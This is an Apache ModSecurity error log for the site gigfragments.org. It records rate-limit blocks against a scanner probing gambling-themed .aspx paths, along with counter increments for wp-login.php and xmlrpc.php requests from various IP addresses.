[Thu Mar 19 10:52:45.210046 2026] [:error] [pid 25135:tid 25142] [client 147.135.252.179:56644] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "abtk_aKtE0dzgMctjFWw6wAAA0U"]
[Thu Mar 19 10:52:47.276543 2026] [:error] [pid 23882:tid 23926] [client 147.135.252.179:56648] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "abtk_7WnClbtbN12M78-ogAAABg"]
[Thu Mar 19 10:52:49.116402 2026] [:error] [pid 23882:tid 23916] [client 147.135.252.179:33780] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "abtlAbWnClbtbN12M78-rAAAAA4"]
[Thu Mar 19 10:52:51.104167 2026] [:error] [pid 31205:tid 31227] [client 147.135.252.179:33788] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "abtlA1u5gZKGrGz5P1F68gAAAUo"]
[Thu Mar 19 10:52:53.036955 2026] [:error] [pid 25269:tid 25296] [client 147.135.252.179:33794] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "abtlBcU9ntriqNcU-b6iEQAAA9g"]
[Thu Mar 19 10:52:54.976850 2026] [:error] [pid 25135:tid 25155] [client 147.135.252.179:33808] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "abtlBqKtE0dzgMctjFWw8wAAA1I"]
[Thu Mar 19 10:52:56.864907 2026] [:error] [pid 24971:tid 24982] [client 147.135.252.179:33812] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "abtlCPUcWA7YXQC7dRvVXQAAAkc"]
[Thu Mar 19 10:52:58.855009 2026] [:error] [pid 25269:tid 25289] [client 147.135.252.179:33740] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "abtlCsU9ntriqNcU-b6iGAAAA9E"]
[Thu Mar 19 10:53:00.879197 2026] [:error] [pid 23883:tid 23939] [client 147.135.252.179:33750] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "abtlDNNi-EnEAH4abz2gnwAAAEo"]
[Thu Mar 19 10:53:02.927565 2026] [:error] [pid 25135:tid 25139] [client 147.135.252.179:33766] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "abtlDqKtE0dzgMctjFWxDQAAA0I"]
[Thu Mar 19 10:53:04.821502 2026] [:error] [pid 23882:tid 23922] [client 147.135.252.179:33780] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "abtlELWnClbtbN12M78-xwAAABQ"]
[Thu Mar 19 10:53:06.718250 2026] [:error] [pid 31205:tid 31226] [client 147.135.252.179:33782] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "abtlElu5gZKGrGz5P1F7DgAAAUk"]
[Thu Mar 19 10:53:08.747683 2026] [:error] [pid 24925:tid 24939] [client 147.135.252.179:51206] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abtlFPUZEHbnUgjEbWNSCAAAAYo"]
[Thu Mar 19 10:53:10.681227 2026] [:error] [pid 31205:tid 31228] [client 147.135.252.179:51222] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abtlFlu5gZKGrGz5P1F7HAAAAUs"]
[Thu Mar 19 10:53:12.694802 2026] [:error] [pid 24971:tid 24985] [client 147.135.252.179:51232] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abtlGPUcWA7YXQC7dRvVYQAAAko"]
[Thu Mar 19 10:53:14.689314 2026] [:error] [pid 31735:tid 31757] [client 147.135.252.179:51246] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "abtlGn-gyQbRQWJYccxPigAAApI"]
[Thu Mar 19 10:53:16.671252 2026] [:error] [pid 25135:tid 25138] [client 147.135.252.179:51248] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "abtlHKKtE0dzgMctjFWxGgAAA0E"]
[Thu Mar 19 10:53:53.697210 2026] [:error] [pid 25135:tid 25147] [client 147.135.252.179:37394] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "abtlQaKtE0dzgMctjFWxUwAAA0o"]
[Thu Mar 19 10:53:55.592851 2026] [:error] [pid 25269:tid 25278] [client 147.135.252.179:49878] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "abtlQ8U9ntriqNcU-b6ijAAAA8Y"]
[Thu Mar 19 10:53:57.375949 2026] [:error] [pid 23882:tid 23906] [client 147.135.252.179:49884] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "abtlRbWnClbtbN12M78_LwAAAAQ"]
[Thu Mar 19 10:53:59.341773 2026] [:error] [pid 3278:tid 3281] [client 147.135.252.179:45906] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abtlRwC2T_lM6ZgvfcRhYgAAAQA"]
[Thu Mar 19 10:54:01.284207 2026] [:error] [pid 25135:tid 25161] [client 147.135.252.179:45908] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "abtlSaKtE0dzgMctjFWxWQAAA1g"]
[Thu Mar 19 10:54:03.276125 2026] [:error] [pid 31205:tid 31241] [client 147.135.252.179:45910] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abtlS1u5gZKGrGz5P1F7mQAAAVg"]
[Thu Mar 19 10:54:05.367204 2026] [:error] [pid 23884:tid 23963] [client 147.135.252.179:45922] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "abtlTV6St-VCdOYnZMotbAAAAIc"]
[Thu Mar 19 10:54:07.450689 2026] [:error] [pid 3278:tid 3281] [client 147.135.252.179:45924] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "abtlTwC2T_lM6ZgvfcRhbQAAAQA"]
[Thu Mar 19 10:54:09.370969 2026] [:error] [pid 31735:tid 31743] [client 147.135.252.179:37670] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "abtlUX-gyQbRQWJYccxPtQAAAoQ"]
[Thu Mar 19 10:54:11.335533 2026] [:error] [pid 3278:tid 3292] [client 147.135.252.179:37680] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "abtlUwC2T_lM6ZgvfcRhcgAAAQs"]
[Thu Mar 19 10:54:13.299298 2026] [:error] [pid 25269:tid 25282] [client 147.135.252.179:37690] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "abtlVcU9ntriqNcU-b6imQAAA8o"]
[Thu Mar 19 10:54:15.233427 2026] [:error] [pid 25269:tid 25290] [client 147.135.252.179:37702] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "abtlV8U9ntriqNcU-b6inwAAA9I"]
[Thu Mar 19 10:54:17.329260 2026] [:error] [pid 25135:tid 25148] [client 147.135.252.179:37704] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "abtlWaKtE0dzgMctjFWxbQAAA0s"]
[Thu Mar 19 10:54:19.257051 2026] [:error] [pid 23882:tid 23904] [client 147.135.252.179:60134] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abtlW7WnClbtbN12M78_TAAAAAI"]
[Thu Mar 19 10:54:21.225569 2026] [:error] [pid 23882:tid 23914] [client 147.135.252.179:60140] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "abtlXbWnClbtbN12M78_VQAAAAw"]
[Thu Mar 19 10:54:23.176886 2026] [:error] [pid 31735:tid 31761] [client 147.135.252.179:60144] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "abtlX3-gyQbRQWJYccxPvwAAApY"]
[Thu Mar 19 10:54:25.282070 2026] [:error] [pid 23882:tid 23923] [client 147.135.252.179:60160] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "abtlYbWnClbtbN12M78_YwAAABU"]
[Thu Mar 19 10:54:27.378924 2026] [:error] [pid 31205:tid 31226] [client 147.135.252.179:60166] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "abtlY1u5gZKGrGz5P1F7rQAAAUk"]
[Thu Mar 19 10:54:29.320029 2026] [:error] [pid 23882:tid 23915] [client 147.135.252.179:37146] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abtlZbWnClbtbN12M78_bQAAAA0"]
[Thu Mar 19 10:54:31.396104 2026] [:error] [pid 23882:tid 23921] [client 147.135.252.179:37148] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abtlZ7WnClbtbN12M78_dgAAABM"]
[Thu Mar 19 10:54:33.179393 2026] [:error] [pid 25135:tid 25159] [client 147.135.252.179:37158] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abtlaaKtE0dzgMctjFWxcgAAA1Y"]
[Thu Mar 19 11:08:56.612782 2026] [:error] [pid 23882:tid 23925] [client 134.255.58.165:57563] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abtoyLWnClbtbN12M79KZwAAABc"]
[Thu Mar 19 11:12:27.279465 2026] [:error] [pid 23882:tid 23914] [client 173.239.254.92:25427] [client 173.239.254.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtpm7WnClbtbN12M79N-QAAAAw"]
[Thu Mar 19 11:12:27.303405 2026] [:error] [pid 23882:tid 23919] [client 193.19.109.11:58565] [client 193.19.109.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtpm7WnClbtbN12M79N-gAAABE"]
[Thu Mar 19 11:32:43.501089 2026] [:error] [pid 25269:tid 25285] [client 43.153.86.78:49200] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abtuW8U9ntriqNcU-b6tZgAAA80"]
[Thu Mar 19 11:41:27.531397 2026] [:error] [pid 31205:tid 31233] [client 173.239.254.104:36815] [client 173.239.254.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtwZ1u5gZKGrGz5P1GPSgAAAVA"]
[Thu Mar 19 11:41:28.611367 2026] [:error] [pid 31205:tid 31229] [client 173.239.254.87:25767] [client 173.239.254.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtwaFu5gZKGrGz5P1GPUgAAAUw"]
[Thu Mar 19 12:15:52.398070 2026] [:error] [pid 23882:tid 23905] [client 173.239.254.99:28383] [client 173.239.254.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abt4eLWnClbtbN12M796fgAAAAM"]
[Thu Mar 19 12:15:52.399378 2026] [:error] [pid 23882:tid 23907] [client 193.19.109.2:40335] [client 193.19.109.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abt4eLWnClbtbN12M796fwAAAAU"]
[Thu Mar 19 12:51:30.297849 2026] [:error] [pid 31205:tid 31234] [client 193.19.109.10:49907] [client 193.19.109.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abuA0lu5gZKGrGz5P1GmtQAAAVE"]
[Thu Mar 19 12:51:30.297849 2026] [:error] [pid 25135:tid 25139] [client 173.239.254.86:61085] [client 173.239.254.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abuA0qKtE0dzgMctjFXsPwAAA0I"]
[Thu Mar 19 12:54:14.881813 2026] [:error] [pid 25135:tid 25148] [client 154.16.49.101:7123] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abuBdqKtE0dzgMctjFXtjQAAA0s"]
[Thu Mar 19 12:54:15.380806 2026] [:error] [pid 31735:tid 31751] [client 154.16.49.101:7388] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/license.txt"] [unique_id "abuBd3-gyQbRQWJYccxXVwAAAow"]
[Thu Mar 19 12:54:15.876004 2026] [:error] [pid 23882:tid 23908] [client 154.16.49.101:7619] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feed/"] [unique_id "abuBd7WnClbtbN12M7-UZwAAAAY"]
[Thu Mar 19 13:27:27.163197 2026] [:error] [pid 23882:tid 23920] [client 173.239.254.111:22007] [client 173.239.254.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abuJP7WnClbtbN12M7-o7AAAABI"]
[Thu Mar 19 13:27:27.164787 2026] [:error] [pid 23882:tid 23905] [client 173.239.254.100:51017] [client 173.239.254.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abuJP7WnClbtbN12M7-o7QAAAAM"]
[Thu Mar 19 14:03:40.186362 2026] [:error] [pid 11014:tid 11022] [client 173.239.254.96:31439] [client 173.239.254.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abuRvDBVizvrAl0DfCDAJAAAAEM"]
[Thu Mar 19 14:03:40.187407 2026] [:error] [pid 11016:tid 11078] [client 173.239.254.97:28783] [client 173.239.254.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abuRvBPK94J9G19C6uXQBAAAAQU"]
[Thu Mar 19 14:40:00.015119 2026] [:error] [pid 11110:tid 11127] [client 173.239.254.100:36689] [client 173.239.254.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abuaQASNPqGfikw7k8JJNgAAAAw"]
